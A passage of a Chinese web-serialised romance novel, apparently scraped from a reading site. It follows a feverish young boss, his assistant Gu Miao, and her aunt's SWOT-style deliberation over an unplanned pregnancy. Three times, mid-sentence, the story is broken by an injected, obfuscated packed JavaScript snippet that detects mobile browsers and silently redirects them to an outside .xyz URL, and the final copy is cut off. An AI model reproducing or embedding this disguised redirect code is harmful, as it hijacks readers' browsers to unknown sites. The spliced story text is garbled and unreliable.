魏如栩抽出体温计看了看读数:“三十七度八。” “果然又烧了,躺着吧,我再去找几床被子。”凌晏如转身向外走。 “小姨……先别跟顾妙说吧,免得她又瞎担心。我吃点药再睡一觉就没事了。”魏如栩央求道。 “知道啦!快躺下!” 魏如栩乖乖躺好,凌晏如从衣柜里翻出一床被子盖在他身上,娴熟地在他脖子和双脚处掖好,跟顾妙之前的手法一模一样。 小魏总再次被裹成了个蚕蛹。 “有事叫我。”凌晏如看了一眼在床上爬来爬去的小狼,问道,“要我把他带出去吗?” “没事儿,让他在这儿待着吧,跟我做个伴。” 凌晏如笑笑,轻轻关上门。 魏如栩莫名觉得,小姨将来会是个好妈妈。 搬到这里是一个正确的决定,他喜欢这样的氛围。不管是顾妙还是凌晏如,对待他的时候并不过分殷勤,又有着恰如其分的关心。 真的就像家人一样。 小狼在床上溜达完,跳到地上,顺着椅子爬上书桌,巡视了一遍之后,觉得索然无味——顾肖的房间收拾得非常整洁,基本没有什么多余的小物件可以让他玩。 随后他再次回到床上,从魏如栩的脖颈处把棉被扒开了个口子,一扭一扭地钻了进去。 魏如栩昏昏沉沉地正要睡着,闭着眼嘟囔:“小心我传染你……” 小狼陛下并不在意,安安稳稳地趴在他脖子里睡觉,像个自热暖宝宝。 失去意识之前,魏如栩还在想,连生病都生出一种岁月静好的感觉,是不是有点太幸福了? 顾妙不让他追又怎么样,只做朋友又怎么样,能天天看到她,照顾她,被她照顾,他也满足了。 他追不到的人,别人也别想追到。 这么一想,还挺有安全感的。 不知道过了多久,魏如栩朦朦胧胧地耳边有人在小声说话,还有一只手从他脖子那里掏走了个东西,随即又给他捂紧被子。 “唔,出了一头汗,温度也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459439|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 降下来了。” 这是顾妙的声音。 “我去拧个湿毛巾,你给他擦擦脸。” 这是小姨在说话。 不一会儿,湿乎乎的毛巾就bia到了他的脸上,魏如栩先伸手抓住了对方的手腕,才缓缓睁开眼,视线由模糊到清晰,看到顾妙的面孔。 “醒了?现在感觉怎么样?” 魏如栩嘴唇有点苍白,冲顾妙笑:“牡丹花下死,做鬼也风流。” 顾妙一怔,随即冷冷道:“啧,别给自己脸上贴金了,你这明明是‘死为处子身,做鬼也丢人’。” “……哪来这么多歪理邪说。”魏如栩面无表情地拧开脸,虽然烧退了,但头更疼了,忍不住点评道,“妙龄少女,满口虎狼之词。” 顾妙继续轻轻给他擦着脸:“你的‘丰功伟绩’我可听说了,活该吧,让你赶我走?要是小姨没过来,你打算怎么办?流浪汉半日游,体验生活?嗯,那小花被子够你一战成名了,等回头我找丁总帮你组建个公关团队,你就出道吧,何必天天来公司上班活受罪呢?” “顾助理。”魏如栩忍不住又把头扭了回来,看看面前这个人下午是不是发生了什么基因变异,“装错语音包了?” 顾妙抿着嘴绷着脸,不说话了。 凌晏如听了魏如栩的话,确实一开始也没跟她说什么,只说一切都好。等顾妙回来看见这位仁兄在顾肖床上挺尸,脖子里还塞了只“抱窝”的猫,十分诧异。 事实真相是瞒不住的,不然没法解释仁兄为什么挪地方——当知道魏如栩果然是因为没设好密码锁就跑出来被锁门外,在阴暗冰凉的楼道里坐了一个多小时才再次发烧,顾妙这个暴脾气哟,当时就控制不住了。 外卖小哥不上来,你不会不要那饭吗?回头发个微信给我,我帮你投诉他,再给你订一份不就完了?平时这么好脾气也就罢了,病成这样还要纵容别人? 她咬着嘴唇压抑着没说,生怕自己一嚷嚷会忍不住掉眼泪。一会儿觉得面前这个人看着聪明,实际上笨得要死,完全一个傻精明;一会儿又觉得还是自己照顾人没照顾到位,就该等他把门锁设定好了再走。 然后她又想到,这事儿从头就是由自己而起,怪别人会让自己心里好过一点吗? 愤怒和愧疚交加,顾小妙像被架在烈火上烤,还要装作云淡风轻,她觉得自己修为差得太远,实在难堪大任。 魏如栩见她半晌不说话,有点担心,怯生生地说:“我真没事儿,不就发个烧嘛,清除体内毒素,一身轻松。你看现在不也好了?!” 顾妙低头绞着手里的毛巾,嘟囔着:“怎么这么娇弱呢?跟林黛玉似的。” “……吃个士力架就好了,你给我买吧?”魏如栩不知道怎么哄,撑起身子靠在床头上,笑吟吟地看着她。 顾妙果然被逗笑了,给他往上拉了拉被子:“嘁,什么烂梗!” “烂不烂的,反正你记得住啊。”魏如栩摊摊手,“咱们的广告片能达到这个效果也成。” “卧病在床还关心业务呢?很是勤劳思政啊太子爷。” “一般一般,重任在肩。” “你嘴皮子也挺溜,改去写文案吧。”顾妙似笑非笑。 魏如栩凑近了观察她的脸:“不生病号的气了?” 顾妙:“生气倒不敢,差点被你蠢哭。” “完了,看来是得找丁萧然帮我重塑一下形象,不知道还能不能救回来。”魏如栩遗憾地摇了摇头,“你干嘛把小狼掏走,他搁这儿还挺暖和的。” “你就不怕他尿你脖子里?这事儿一旦发生,顾肖能把床给烧了。”顾妙嗤笑了一声,“没想到你讨厌狗,反倒那么喜欢猫,宠起来一点分寸都没有。” 魏如栩挑挑眉,振振有词地说:“宠就宠了,还要什么分寸?” 他心说,我对人也一样,就你不给机会。 “慈父多败儿。”顾妙捏了捏眉心,“惯坏了可真麻烦。” “年纪轻轻,未婚未育的,哪来的教育焦虑?”魏如栩揉揉她的头发,“看起来挺爽利一人儿,怎么这么爱操心。” 顾妙沉默,心想,可能我是贱骨头吧。 两人无言的几秒钟,魏如栩突然开口道:“后来我偷偷去看过奇奇。” “嗯?”顾妙想了想才意识到,他说的是他小时候养的那条狗。 “我爸把他送到一个朋友家去了,那人在郊区有座别墅,别墅里有个很大的院子,奇奇爱怎么玩就怎么玩,也算被安置得很妥当。”魏如栩垂着眼睛,低声说,“几年之后的一天,上课有同学分享了一个小故事,讲的是被抛弃的宠物有多么悲惨,我就想到了他。不管他后来生活得多好,始终是我抛弃了他。” 顾妙:“也不能这么说……” “我很想知道他变成了什么样,实在按捺不住,就打了车去那个叔叔家。但我没跟叔叔说,只是躲在后院门口,透过栅栏偷偷看奇奇。我看他样子变了很多,没有以前那么活泼了,靠在另一端的院墙下面晒太阳,于是就喊了他一声。” “他应你了吗?” “何止是应,他一骨碌爬起来,冲着我就狂奔过来,尾巴摇得像电风扇,嘴怼进了栅栏的缝里,试图接近我。他喉咙里‘呜呜’地叫着,大眼睛直愣愣地瞪着我看。” 魏如栩忧伤地说:“好像这几年过去,他只是一直在那里等我接他回家。” 63. 第六十三章 人生SWOT 顾妙不知道是不是这两天情绪起伏有点大,感情似乎变得脆弱了。听到魏如栩这么说,她不由地想到了那个画面,忍不住眼泪就流了下来。 好在魏如栩没有看她,只是目光投向虚空中的某一点,自顾自地伤感着。 “那时候还恨他吗?” 说完这句话,顾妙就觉得这个问题有点多余。如果不恨,他不会到现在对狗都还有那么大反应。 魏如栩点点头:“又爱又恨。见他反应那么大,知道他没忘了我,真挺感动的。可是看到他那激动的样子,就想起妈妈因为他而受的伤,那股子嫌恶感就又涌了上来。所以我连摸都没摸他一下,转身就跑了,跑出去老远还听见他在院子里叫,我就跑得更快。之后再也没见过他。” 沉默了片刻,顾妙说:“你还是爱他的,越爱就越恨。” 魏如栩意识到他把气氛搞得沉闷了,莞尔一笑:“可能是吧,论情绪的三倍反噬。” 然而他心里却想起那只活泼的金色大狗,心想,再爱又怎么样,他只知道我不要他了。 这个时候凌晏如敲了敲门进来:“猴崽子们,吃饭了。” 一股饭香顺着门缝飘了进来,魏如栩顿时觉得胃中空空。想来这一天下来他只吃了一碗粥,现在着实饿得难受,掀开被子就要下床。 顾妙怕上午他腿软的那一幕再度发生,连忙站起来想要去扶他,左手揽住了他的腰,魏如栩的右臂也恰好搭在了她的肩膀上。 严丝合缝,扶个正着。 顾妙笑道:“总算有默契了。” “这是属于吃货的特别电波。”魏如栩向前一挥手,360度环绕立体释放傻气,“向着目标,冲鸭!” 顾妙:“……” 小魏总是不是烧坏了脑子? 饭桌上,顾妙跟凌晏如讨论着这个“天降之子”的处理办法,魏如栩作为外人不方便插嘴,就在一边默默吃饭,十分乖巧。 “小姨,我觉得这事儿挺好的,就在你人生没有方向的时候,这个宝宝正好带给你了方向。”顾妙认真劝说,“来了就是缘分嘛。” 凌晏如皱起眉头:“啧,这腔调是跟你二姑姥姥学的么?年纪轻轻说话老气横秋的。再说,我人生怎么没方向了?享乐就是方向!” “纯享乐、不奉献的人生多空虚。”顾妙嬉皮笑脸地给她夹了根鸡腿,“吃点好的,先补补。” 旁边魏如栩听到这话没忍住,正喝水呢,“噗嗤”一声差点把自己给呛着。 凌晏如没好气地看了顾妙一眼,把鸡腿转移给魏如栩:“给病号补吧。你说你,打哪儿招来的这么缺心眼的员工?” 魏如栩瞅了瞅一脸挫败的顾妙,勾了勾嘴角,而后一本正经地说:“天上掉下来的。” 顾妙“嘁”了一声:“你才是魏黛玉。” “爱奉献的员工辛苦了,鸡腿还是归你。”魏如栩又把鸡腿夹到顾妙碗里。 凌晏如捂着脸:“老娘真是没眼看。” “休想传染我感冒,自己留着吃吧,又不是只有一条。”顾妙把鸡腿丢回魏如栩碗里,再次苦口婆心地劝凌晏如,“小姨,要是不留下这个宝宝,我怕你将来会后悔。” “后悔什么?”凌晏如面无表情,“因为怕以后就不能生了,所以能留就留?” 顾妙忽然觉得词穷:“呃……也不是……” “随随便便把一个人带到世界上来,才是不负责。”凌晏如冷冷道,“还好你没说‘这也是一条生命’这样的混账话,就因为它将来会是一条生命,才更要慎重。” “我没有那个意思……就觉得你之前那么想要一个孩子,现在孩子有了——虽然时间不合适,但你总归是达成所愿,不想你因为一时的不如意而放弃它……”顾妙越说声音越小,最后低下头,不敢看凌晏如,犹豫了片刻,拿脚尖捅了捅魏如栩的小腿,让他想办法救场。 要是顾肖那个甜言蜜语的死玩意儿在家就好了,一定能把小姨哄得眉开眼笑。现在这个人精不在,只能指望另一个人精了。 但愿眼前这位人精吃了饭补足精力,脑子能比刚刚好用一点,千万别再“冲鸭”了。 魏如栩会意,望着眼前双目无神、用筷子数米粒的凌晏如,沉吟了一下:“小姨,我和顾妙没经历过这些事,估计也给不了你什么好的建议。你现在的心情一定很乱,不如我俩帮你捋一捋思路,看看再没有情绪的干扰下,能不能分析出个最优解。” 凌晏如愣怔地看着他:“……好啊。” 顾妙一脸空白:“怎么分析?” 魏如栩冲她挑了挑眉毛,兴奋地说:“顾助理,上SWOT矩阵。” 两位学管理出身的学渣面对一个艺术出身的谪仙,齐声发出了灵魂质问:“你脑子瓦特了么?!” 话虽如此,但凌晏如还挺想试一试的。可惜她自己早就把分析方法给忘光了,于是看向最近一直在温书的顾妙。 顾妙在找工作的时候,就曾经因为SWOT分析没做好而被拒,还换来一脑门再教育。想起不到两个月前的痛苦经历,她躲开凌晏如的目光,默默别开头去:“憋看我,我有心里阴影。” 她目光如炬地看向魏如栩,这个管挖不管埋的货耸了耸肩:“我也不懂啊,才刚从书上看过这个定义。” 顾妙:“……” 不懂你瞎起什么哄?! “虽然我不懂,但好歹你们俩有基础,大家可以扒着定义来试一试嘛,在假定小姨打算留下宝宝的前提下,看看整体情况可能会是怎样的。”魏如栩振振有词地说,“感觉也不是很难啊,又不是做高数。” 一句话又提到了两位学渣的隐痛,想起来那些年被数学支配的恐惧,顾妙和凌晏如又是不由自主地颤抖了一下。 顾妙幽幽地看了大言不惭的小魏总一眼:“你个学艺术的有什么资格谈论高数。” “偏见!刻板印象!我学艺术是因为喜欢,又不是因为数学不好。”魏如栩敲了敲桌面,带着一种使唤人的过瘾劲儿说,“吃饱没?吃饱了我要征用这张桌子。” 他早就吃饱了,凌晏如本来就没有食欲,少数服从多数,没吃饱的顾妙被无情地忽视了。 不仅被忽视了,面对一个病号一个孕妇,她还得亲自动手打扫战场。 顾助理心很累。 擦完桌子,魏如栩又支使着她拿了四张A4纸和几支笔,平平整整摆好,分别写上“优势”、“劣势”、“机会”、“威胁”。 凌晏如看着他写字,忽然问道:“等下,SWOT矩阵是做战略决策和竞争分析的对吧,那我的对手是什么?” 顾妙瞥了魏如栩一眼,这次俩人倒是颇有默契,用“这还用问”的眼神看向凌晏如,地异口同声说:“生活!” 凌晏如的脑海中顿时扫过了一堆同类表情包,不由地黯然神伤。 根据顾妙和魏如栩的讨论,凌晏如的优势很明显: 第一,暂时没有资金困扰。她离婚的那笔财产十分丰厚,孩子进幼儿园之前都不太会有什么一次性的大笔花销,这段时间如果她拿这笔钱做个稳妥的投资,也会收到一定的回报。如果将孩子的事告诉生父,凌晏如至少也能获得一笔抚养费,这算是锦上添花。 第二,不缺人帮忙。眼前顾妙就是个好使唤的丫头,虽然在月子护理和育婴常识上没什么经验,但打打下手也是好的。等孩子生出来,凌晏如可以花钱请月嫂,她二姑也已经预定了看孩子的位置,总体说来,人手是够的。 财力和人力,是决定一个人是否能单独养育一个孩子的关键因素,这两样凌晏如都不缺,可谓占尽先机。其他方面就更不用说了,比如工作自由(无业)、随心所欲(没人管)等等,全都作为强有力的竞争优势被魏如栩算在内。 劣势方面,大家各自有着各自的想法。 顾妙从小父母双全,觉得母爱和父爱都缺一不可,少了谁都可能会有缺失。 但凌晏如和魏如栩却觉得,只要孩子享有足够的爱,并且知道自己是被爱着,这就足够了。来自于哪个性别的爱并不那么重要,即便有所缺乏,也很容找到替代品。 经过反复讨论,三人勉强达成统一:劣势一,凌晏如作为一个单身妈妈,可能在某些情况下,还是需要有伴侣共同负担养育一个孩子的责任,这也许是任何亲人都无法替代的功能。 比如,原本可以两个人分担的焦虑,之后变成了一个人独自承受。这对凌晏如的心理承受能力是个极大的考验,她必须精神稳定,才能带给孩子一个安全的成长环境。 劣势二,社会看待单亲家庭始终还是带有偏见的,这不可避免会给孩子带来影响,在养育过程中,要密切关注孩子的心理变化,进行及时疏导,否则会给孩子幼小的心灵带来伤害。 其实总体而言,钱能解决的问题都不是问题,母亲的心理承受能力和孩子的心理健康发展才是至关重要的。 讨论完劣势,屋里气氛一度有些沉闷,不太像讨论优势的时候那么轻松。 顾妙手臂支在桌子上托着腮:“完蛋,这么分析下去我都快恐育了。钱好挣,人好找,但这么多精神压力谁受得了?别到时候娃没长大,小姨这一头秀发……” “你能不能盼我点好?”凌晏如翻了个白眼,“再说了,我有你那么脆弱么?” 魏如栩拎起顾妙的一缕头发摆弄了一下,调侃道:“你是不是对自己脱发产生了恐慌?三句不离这个话题,一会儿咒顾肖,一会儿咒我,现在连小姨也不放过?” 顾妙瞪他一眼,把头发从他手里抢回来:“你懂什么,头发是女人的生命,这能跟你们狗直男一样吗?” “纳尼?”魏如栩眼珠子差点跳出来。 “没看过中泽一登给花王拍的洗发水广告吧,名字就叫‘头发是女人的生命’,获了伦敦国际广告奖金奖呢。”顾妙笑嘻嘻地捋着头发,“小魏总,业务不行啊,这都不知道。” “我当然知道……咳咳,不跟你浪费时间,还得帮小姨继续分析呢!”魏如栩强行挽尊。 凌晏如两眼发直,轻轻摆摆手:“还分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459440|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 析啥,现在已经压力山大了。” “别忙着有压力。”魏如栩点点写了“机会”的那张纸,“说不定有机会把劣势转化成优势!比如小姨焕发第二春,找到如意郎君——那个,咳,小姨,冒昧问一句,你不排斥再结婚的吧?” “我觉得盛……”顾妙这话刚一出口,觉得对面气氛不对,魏如栩冲她使眼色,同时轻轻摇头;凌晏如警惕地瞪着她,眼神似乎在表达“敢说我就杀了你”,于是她果断拐了个弯,“我觉得盛世良缘的话,小姨是不会拒绝的,对吧?有没有孩子都会这么想。” 凌晏如收起吃人的目光,垂下眼皮:“嗯,不排斥。” 魏如栩偷偷冲顾妙比了个大拇指,顾妙才觉得刚才差点要被冻住的小心脏终于又能恢复跳动了。 “但这样一来,又产生了新的劣势。”凌晏如掰着手指头数,“我这大龄、离异、带娃的单身女性,三个减分项,想找到合适伴侣岂不是难上加难?” 顾妙撇撇嘴:“你这是二姑姥姥的算法。” 凌晏如头没动,眼珠转到一侧瞅着她,不阴不阳地说:“你有更好的算法说出来我听听?” “按普通社会人的心理来看,这确实算是减分项,但介意者非良配,根本不在讨论范围里。”魏如栩打圆场说,“不在意这些外界因素的,才是真爱,一旦遇到,就能将劣势翻盘,遇不到,也不会新增更多困扰。” “就是!这个‘机会’,只要出现,一定只会增加优势,不会增加劣势。”顾妙狗腿地说,“别忘了你还有别的加分项,貌美、成熟、有钱!” 凌晏如冲顾妙假笑:“可以啊,上班一个多月,拍马屁的本事见长。” “会拍马屁也没用啊。”顾妙玩着手指头,意味深长地说,“这项技能又不能涨工资。” 魏如栩假装没听见,望着天花板:“嗯,机会……” 小狼睡醒了一觉,跑去水盆那里喝水兼玩水,之后又“蹭”地一下子跳上了饭桌,在“机会”那张纸上留下了几个小梅花印。 “对了!小姨不是想将来当作家吗?这也是机会之一。”魏如栩兴冲冲地说,“可以从怀孕经历写起,小说也好,生活记录也好,将来找个出版社好好包装一下,出本畅销书什么的,比如《我的后半生》——还是个事业上的新起点呢。万一卖出个影视版权,那就发达了!” 凌晏如不可置信地看着魏如栩,咋舌道:“行,是个人才,这都能让你想出来。《我的后半生》可还行……幸好你没让我写《月子》。” 顾妙一脸崇拜:“我老板脑子最活泛了。” 魏如栩面无表情地说:“别费劲了,拍马屁又不能涨工资。” “……”顾妙嘴硬道,“我是那么现实的人嘛?” 魏如栩看向凌晏如:“小姨,咱们都是搞创作的,我懂你的难处。创作最怕没灵感。但是,生儿育女,一方面涉及人类最基础的血脉繁衍,一方面又涉及人类最高端的情感维系,可谓从下往上脉络全部打通,这个过程当中有无数细节都能刺激到你产生各种感想,一定时期的荷尔蒙作用又会加深你的感情体验……而且,孩子也是父母的老师,养育一个孩子的过程,也是大人二度成长的过程!” 他换上了台湾电视购物主持人的腔调:“这不仅仅是繁育后代,这是打开了人生新的大门,是艺术家在创作中不断追求的灵感宝藏!” 凌晏如和顾妙看着魏如栩放飞自我,看得目瞪口呆。 “如栩啊,看不出你浓眉大眼的,竟然是个传销头子。”凌晏如干巴巴地说,“谁说你不适合当广告公司总经理,我跟谁急。” 魏如栩恢复正常状态,羞赧地笑了笑:“有点小激动,献丑了。顾助理,下一项是什么?” “威胁。”顾妙看桌面上趴着的小狼打了个哈欠,她也跟着打了一个,“快点分析吧大佬,我困了。” “其实……这一项往复杂里说,生活里处处是威胁,尤其有了宝宝,就等于有了软肋,平时不会担心的事都会担心。”魏如栩站了好半天,终于坐了下来,他伸手戳了戳小狼的鼻子,小狼也拿鼻子蹭了蹭他。 那一瞬间,魏如栩突然福至心灵。 “但是往简单里说,也没什么好担心的——生活不过是生活。借用《老友记》里一句台词,‘这个世界很糟糕,但你会爱上它’。你对生活温柔以待,它回馈你的总不会太差。”魏如栩认真地说,“宝宝也一样。只要我们大人教会ta爱和坚强,ta总会成为一个勇敢的人,为爱ta和ta所爱的人披荆斩棘。” 他看了看顾妙,又看了看凌晏如,感慨地说:“我们都是被父母爱着长大的,说起来真是一件幸运的事。” 顾妙怔怔地看着他,这段突如其来的感言仿佛一把大锤子,重重打在她心里的那面高墙上,哗啦啦地掉了一地泥瓦。 魏如栩突然偏过头来,与她视线相触,顾妙一惊,立刻低下头,错过了他眼中浮起的那抹温柔的目光。 “其实,我们都比自己想象的要勇敢。”魏如栩总结道。 64. 第六十四章 投“食”问路 突然旁边传来了啜泣声,顾妙和魏如栩看过去,只见凌晏如一边抹着泪,一边忙不迭抽纸巾,她吸了吸鼻子:“一定是荷尔蒙开始泛滥了!” 顾妙摆正桌上的四张纸,刚刚她随听随记,讨论结果都写在了上面:“小姨,这么看下来,似乎也没什么可怕的。你一直都这么坚强,我觉得你一定能照顾好宝宝,也会活得更精彩。况且还有我呢,我一定会帮忙的!” 凌晏如擦着眼泪,抿着嘴绷着脸,不置可否。 魏如栩观察着她的表情:“咱们只是帮小姨分析,也不知道分析得对不对。还是给她一点时间多考虑。” “现在一条一条说得都好听,但谁也不知道什么时候遇上事儿,优势变劣势,机会变挑战。生活太难预测了,我不能只用一个什么矩阵就做决定,更不敢拿孩子去打赌。”凌晏如垂着头把纸巾丢进废纸篓,起身拿了包,向外走去,“让我自己静静吧。” 顾妙和魏如栩跟着起身,站在她身后,隐约感觉到她四周散发了一种“请勿靠近”的气场,于是他俩谁也没敢上前一步,只能眼睁睁地看着凌晏如关门而去。 “选择题好难做。”顾妙重重叹了一口气。 “也不难。”魏如栩望着门,喃喃地说,“只要足够爱就行了。” 顾妙抬头仰望他:“你是说小姨不够爱这个孩子吗?” 魏如栩笑了笑:“是她还没意识到自己有多爱。” 沉默片刻,顾妙撇了撇嘴:“诡辩。” “早点休息吧,社畜。”魏如栩轻轻拍了拍她的后脑勺,“明天还得早起上班呢,晚安。” 说罢他顺手摩挲了一把正趴在桌上的小狼的脑袋,抓起手机,自以为很帅气地退场。 顾妙冷冷一笑,望着大门,数道:“one、two、three。” 敲门声准时响起,外面传来魏如栩尴尬的声音:“……顾助理,麻烦给我家开个门。” 帮着她小魏总设定好了家里的密码锁,顾妙才疲惫地回到家。连着两天好像都在身体超负荷运转,承受着体力和精神的双重压力,现在的她着实身心俱疲,匆忙冲了个澡躺在床上。 不过还好,魏如栩生病和凌晏如怀孕这两件事冲淡了顾妙和他之间因为“剖白心事”而产生的尴尬,至少两人之间相处还能像以前一样自然,魏如栩也恰到好处地守住了底线。 他那么温柔,又是那么彬彬有礼,自然是会懂得底线在哪里的。 顾妙不禁想起网上的一种说法,跟高情商的人相处愉悦,是因为他会向下兼容。 她实在有点庆幸,自己的小魏总就是这样一个高情商的老板,他总知道怎样做才会让身边的人最舒服。 可处处为别人考虑的他,是不是又是各种委屈自己来成全别人呢? 顾妙自相矛盾地想着,又开始怨恨自己。 我也是那个自私地让他体谅自己的“别人”啊,实在无以为报,就让我为他卖命至死吧! 第二天魏如栩一上班,自然是受到了众星捧月般的关照。他不过是一天没来,仿佛全世界都知道他发烧了。 当他刚跨进公司大门,一层公共办公区的年轻女孩子们简直潮水一般一波一波地涌过来,投喂了各种有营养的食物,然后纷纷“祝小魏总早日康复”“小魏总你要好好照顾自己鸭”,场面堪比明星见面会。 估计这事儿一个人两个人做会觉得羞耻,大家一起来就谁怕谁啊,豁出去了。反正魏如栩从没见过这个阵仗,先是有点懵,后来是有点怕。 顾妙原本跟在他身后,很快就被围上来的莺莺燕燕挤到一边去了。她很想在旁边装死,但没装成功,成了小魏总的人肉搬运机,两条胳膊挂满了袋子,还抱了满怀的小吃盒子。 魏如栩看她这样,接都不好接,恐怕是拿一件儿就把其他的都碰掉到地上,只能摘下口罩,尴尬地对着面前的“粉丝”们笑笑,恰如其分地表达了谢意,赶紧推着顾妙上了楼。 顾妙把怀里的东西“呼啦”一下散在魏如栩的办公桌上,好奇地拨拉着看:“瞧瞧,瞧瞧,咱公司的这些妹子,一个个的都这么心灵手巧,都是亲手做的呀!啧啧,蛋挞、戚风小蛋糕、榴莲酥、红豆双皮奶、银耳红枣羹、牛奶南瓜粥、红糖小米粥——他们是不是对你有什么误解,你是感冒发烧,又不是坐月子!” “废话怎么这么多?”魏如栩黑着脸坐在老板椅上,“你要干嘛?还要登记造册不成?” “可惜对不上人,要不然还真给你造个册子。”顾妙背着手,煞有介事地在旁边溜达着,“将来选妃的时候算是考核标准。手工不好的,不要;关心不到点子上的,也不行。” 魏如栩有点恼火:“这都是公司员工,你瞎说什么?!” “公司员工又怎么了?你情我愿不就行了?”顾妙奇怪地看他一眼,“难不成你还真搞后宫,一夫多妻?” 魏如栩捂着额头挥挥手,有气无力地说:“顾助理,麻烦你大放厥词之前,把门关上。你不要脸,我还要。” “嗨,开个玩笑嘛。”顾妙瞅着桌上那堆吃的,目光炯炯。 “爱吃什么拿什么,反正我不吃。” “谢老板!”顾妙早就看上了红豆双皮奶,一把抓过来,盒子里还贴心地附赠了小勺,她尝了一口,大赞:“哎,不错!口味清淡,减了糖的!手艺好,卖相好,一定是个蕙质兰心的姑娘。” “做这个就蕙质兰心,做包子的呢?”魏如栩似笑非笑,“五大三粗?” 顾妙眨了眨眼,怔了怔,意识到是在说她,毫不介意地说:“我确实比不了,人家这都是情趣流,哪能天天这么做,还不得惯坏老公。我是生活流,顾不上搞这些花样,填饱肚子最重要。” “可是生活流最实际啊。有什么不好。”本来是调侃她,谁知道她照单全收。魏如栩看不了她这么不把自己当回事,微微有点恼火。 反正我喜欢,他暗暗想。 “好好好,你长得帅,说什么都对。”顾妙没搭理他这自扇耳光的对话逻辑,吃着红豆双皮奶,眼睛瞅着榴莲酥。 魏如栩注意到她的目光,主动把榴莲酥递给她,装作漫不经心地开始套路:“你不觉得在同一个公司里,上下级之间谈恋爱有问题?我听说策划部的副总监谈彬锐跟策划C组的一个姑娘,叫什么来着,俩人好像有意思。” “哟喂,老板,整天高高在上,八卦都从哪听的——那姑娘好像姓潘。”顾助理血液全供胃里去了,一听有真人代入,完全没联想到自己正被人套话,于是边吃边随口说,“有什么问题,不偷不抢的,自己能接受就行了呗。” “哦……万一有人说谈彬锐是想以公谋私、借着职权逼人就范,或者小潘是想谄媚上司,谋求利益呢?”魏如栩说完有点不安,起身去泡咖啡,借以掩饰自己心虚的小眼神。 “人家爱怎么想怎么想,那都是嫉妒,听他们的干什么。同事而已,说不定明天就滚蛋了。”顾妙一口榴莲酥,一口双皮奶,倒是一点也不口干,“还是那句话,只要他俩你情我愿,谁管别人说什么。不过是有的人觉得这样很麻烦,不想把私人关系变得复杂。不过,要是真存在不公平的现象,倒是真的可以举报一下,哎,老板——” 魏如栩以为她听出自己在套话了,吓得一哆嗦,手里正接着水差点洒一地:“……昂?” 顾妙:“咱们公司HR不是摆设吧,不会护着大佬们吧?” “那当然!”魏如栩扭头看了她一眼,义正辞严地说,“要是有这方面的问题,你尽管跟我说,我一定会帮忙主持公道。” 顾妙转了转眼珠:“要是廖玄那个级别的干这种事儿呢?不过HR总监,就那逗逗飞,跟他关系那么铁,肯定会帮他说话。” “总监和副总监级别的人搞这种事,我亲自负责,要是我爸回来,他肯定也会管的。”魏如栩从柜子里拿了一个大托盘,到办公桌前把那堆吃的敛到托盘上。 顾妙再没眼力见也反应过来了,赶紧放下手里的吃的,先干活:“老板,放着我来,您歇着,歇着。” 魏如栩倒也没坚持,放手让她去做,自己坐回老板椅:“想想这几个大脑袋,还不至于这么下三滥吧。” “谁知道呢,人不可貌相。”顾妙随口说道。 看着那小山似的保鲜盒,魏如栩有点头大:“这些盒子怎么还给她们?” “回头我洗好了放在休息区,让她们自己来认领呗。”顾妙一边收拾一边说,“我建议每个盒子里塞个红包,也不用放钱,唔,回头我去买点五十块面值的话费充值卡,每个红包里放一张,怎么样?我们老板绝不占下属便宜。” 魏如栩哭笑不得:“你想得倒周到。” 顾妙把整理好的小吃放到小吧台的一角,看到咖啡煮好了,随口问道:“老板,今天不加冰吧,喝点热的黑咖啡对感冒有好处。” “唔。” 魏如栩偷偷望着她的背影,心想,原来上下级恋爱这种事她根本不在意,看来就只是……真的不想谈恋爱? 她之前说怕感情不能长久,到底是在担心什么? 是担心私人关系变复杂,将来处理不好会出问题,还是真的因为怕分手? 可谁能对一段关系打包票呢? 他忽然想起那天带小狼去检查腹泻时顾妙的古怪反应,意识到一个问题。似乎顾妙的心结,就在于她在度过了人生最幸福的十八年后,突然失去了所有宠爱。 换了谁可能都会有心理阴影,生怕手中幸福转瞬即逝。 醍醐灌顶地找到了原因,并没有让魏如栩变得开心起来。因为他觉得自己没能力完美地解开这个心结。 山盟海誓未必不真心,可谁经得起时光这把小锉刀? 感情虽然是双方的事,开关需要两人联手按下,可结束只需要一个人放手。即便魏如栩能控制自己永不变心,他也不能勉强对方和他一样。如果她先厌倦,岂不也是走到了尽头? 想一段亲密的关系,还没来得及感受刚开始的蜜里调油,先就想到了它的结束,实在让人太过于丧气。 魏如栩正在发愣,顾妙已经将咖啡端给了他:“老板?” “嗯?” 虽然魏如栩已经立刻调整表情,他眼底那一抹遗憾仍旧被顾妙捕捉到。 顾妙:“怎么了?看着情绪突然低落,哪里不舒服吗?” 魏如栩吹了吹咖啡,轻轻啜了一口,掩饰道:“没有,鼻子不通没睡好,有点晃神。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 